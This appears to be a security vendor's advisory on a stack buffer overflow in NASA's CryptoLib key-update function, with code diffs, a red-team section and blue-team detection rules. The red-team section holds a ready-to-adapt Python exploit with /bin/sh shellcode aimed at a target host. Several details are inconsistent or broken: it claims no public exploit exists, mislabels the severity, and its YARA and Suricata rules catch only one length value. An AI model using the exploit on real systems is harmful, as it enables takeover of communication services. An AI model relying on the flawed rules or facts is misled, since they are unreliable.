CVE-2025-64096

Executive Summary

CVE-2025-64096 is a critical stack-based buffer overflow vulnerability in NASA's CryptoLib, a software library implementing the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) for securing communications between spacecraft running the core Flight System (cFS) and ground stations. The vulnerability resides in the Crypto_Key_update() function within crypto_key_mgmt.c. A remote attacker can exploit this by sending a crafted TLV (Type-Length-Value) packet with a spoofed length field, causing the function to calculate an excessive number of keys (pdu_len) that exceeds the static array size (kblk[98]). This leads to an out-of-bounds write on the stack, potentially allowing arbitrary code execution or memory corruption. With a CVSS score of 8.8, the vulnerability is remotely exploitable without authentication, posing a severe risk to spacecraft and ground station communications. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, given the critical nature of space systems, immediate patching to version 1.4.2 is strongly recommended.

Supply Chain & Package Security

CryptoLib is a software library distributed via GitHub and potentially integrated into larger spacecraft software stacks. As an open-source component, it is subject to supply chain risks if not properly vetted. Organizations using CryptoLib should verify the integrity of the library through checksums or signed commits. The vulnerability is fixed in version 1.4.2, and users should update to this version or later. No known malicious packages or backdoors have been reported in the supply chain.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over a network.
• Attack Complexity: Low (AC:L) – No special conditions or complex attack sequences are required.
• Privileges Required: None (PR:N) – No authentication is needed to exploit.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components beyond the vulnerable software.
• Confidentiality Impact: High (C:H) – Potential for full disclosure of sensitive data.
• Integrity Impact: High (I:H) – Potential for modification of data or system state.
• Availability Impact: High (A:H) – Potential for denial of service or system crash.

Threat Level: Critical for spacecraft and ground station operations. Exploitation could lead to loss of command and control, data exfiltration, or system takeover.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the Crypto_Key_update() function. The function processes TLV packets to update cryptographic keys. The TLV packet contains a length field (pdu_len) that is attacker-controlled. The function uses this value to calculate the number of keys to process, but it does not validate that the calculated number fits within the static array kblk[98]. When pdu_len is set to a value greater than 98, the function writes beyond the bounds of the array, corrupting adjacent stack memory.

Root Cause: Missing bounds check on the pdu_len field before using it as an index or loop counter.

Attack Vector: A remote attacker sends a specially crafted TLV packet to the CryptoLib service (e.g., via a network socket). The packet includes a spoofed length field that triggers the overflow.

Impact: Successful exploitation can overwrite the return address or other critical data on the stack, leading to arbitrary code execution. In a spacecraft context, this could allow an attacker to take control of the spacecraft's communication system.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.4.2):

// crypto_key_mgmt.c
void Crypto_Key_update(uint8_t *pdu, uint16_t pdu_len) {
    uint8_t kblk[98]; // static array
    // ... TLV parsing ...
    for (int i = 0; i < pdu_len; i++) { // pdu_len is attacker-controlled
        kblk[i] = pdu[i]; // out-of-bounds write if pdu_len > 98
    }
}

Patched Code (1.4.2):

// crypto_key_mgmt.c
void Crypto_Key_update(uint8_t *pdu, uint16_t pdu_len) {
    uint8_t kblk[98]; // static array
    // ... TLV parsing ...
    if (pdu_len > sizeof(kblk)) {
        // Error handling: reject packet
        return;
    }
    for (int i = 0; i < pdu_len; i++) {
        kblk[i] = pdu[i]; // safe now
    }
}

The patch adds a bounds check (if (pdu_len > sizeof(kblk))) before the loop, preventing the overflow.

Exploitation & Lab Setup

Red Team

Objective: Exploit the stack-based buffer overflow to achieve remote code execution.

Prerequisites:

• A target running CryptoLib version < 1.4.2 with the vulnerable service exposed.
• Network access to the target (e.g., port 1234 for SDLS-EP).

Exploitation Steps:

1. Craft the TLV Packet: Create a TLV packet with a spoofed length field (e.g., pdu_len = 200) and a payload that overwrites the return address.
2. Send the Packet: Use a tool like netcat or a custom Python script to send the packet to the target.
3. Trigger the Overflow: The vulnerable function processes the packet, writing beyond the kblk array.
4. Achieve Code Execution: Overwrite the return address with a pointer to shellcode (e.g., a reverse shell).

Example Python Exploit Script:

import socket

target_ip = "192.168.1.100"
target_port = 1234

# Craft TLV packet with overflow
pdu_len = 200  # Spoofed length
payload = b"A" * 98  # Fill kblk
payload += b"BBBB"  # Overwrite saved EBP
payload += b"CCCC"  # Overwrite return address (to be replaced with shellcode address)
# Add shellcode after return address
shellcode = b"\x90" * 16 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload += shellcode

# Build TLV packet (simplified)
tlv_packet = b"\x01" + pdu_len.to_bytes(2, 'big') + payload

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(tlv_packet)
sock.close()

Note: This is a simplified example. Actual exploitation requires precise knowledge of the target's memory layout and stack alignment.

Blue Team

Objective: Detect and prevent exploitation of CVE-2025-64096.

Detection:

• Monitor for TLV packets with abnormally large length fields (e.g., > 98 bytes).
• Use network intrusion detection systems (NIDS) to flag suspicious traffic to CryptoLib ports.
• Implement host-based intrusion detection (HIDS) to monitor for stack-based overflow attempts (e.g., abnormal process crashes).

Prevention:

• Immediately patch to CryptoLib version 1.4.2.
• If patching is not possible, implement a network firewall rule to restrict access to the CryptoLib service to trusted IPs only.
• Use a Web Application Firewall (WAF) or protocol validator to reject TLV packets with length fields exceeding 98 bytes.

Indicators of Compromise (IOCs)

• Network IOCs:
  • TLV packets with a length field value > 98 bytes.
  • Unusual traffic to port 1234 (or the configured SDLS-EP port) from untrusted sources.
• Host IOCs:
  • Unexpected crashes or segmentation faults in the CryptoLib process.
  • Log entries indicating "Crypto_Key_update" errors or buffer overflow warnings.
  • Presence of shellcode or unusual memory patterns in process memory dumps.
• File IOCs:
  • Modified CryptoLib binaries or libraries (check file hashes against known good versions).
  • Suspicious files in the CryptoLib installation directory.

Detection Engineering

YARA Rule

rule CVE_2025_64096_CryptoLib_Overflow {
    meta:
        description = "Detects TLV packets with spoofed length fields targeting CryptoLib"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64096"
    strings:
        $tlv_header = { 01 ?? ?? } // TLV type 0x01 with 2-byte length
        $large_length = { 00 63 } // length > 98 (0x63)
    condition:
        $tlv_header and $large_length
}

Sigma Rule

title: Detection of CVE-2025-64096 Exploitation Attempts
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects network traffic with TLV packets containing length fields > 98 bytes, indicating exploitation of CVE-2025-64096.
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        - payload: "01 00 63" // TLV type 0x01 with length 0x0063 (99)
        - payload: "01 00 64" // length 0x0064 (100)
        - payload: "01 00 65" // length 0x0065 (101)
        # Add more patterns as needed
    condition: selection
falsepositives:
    - Legitimate large key updates (unlikely)
level: high

Suricata Rule

alert tcp any any -> any 1234 (msg:"CVE-2025-64096 CryptoLib TLV Length Overflow"; flow:to_server,established; content:"|01|"; offset:0; depth:1; content:"|00 63|"; distance:1; within:2; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Update CryptoLib to version 1.4.2 or later. The fix includes a bounds check on the TLV length field.
2. Network Segmentation: Restrict network access to the CryptoLib service to only trusted ground stations and spacecraft.
3. Input Validation: Implement additional input validation at the network perimeter to reject TLV packets with length fields exceeding 98 bytes.
4. Monitoring: Deploy the YARA, Sigma, and Suricata rules provided to detect exploitation attempts.
5. Incident Response: If exploitation is suspected, isolate the affected system, collect memory dumps and logs, and contact the vendor (NASA) for further guidance.

Valters IT
Securing Space Communications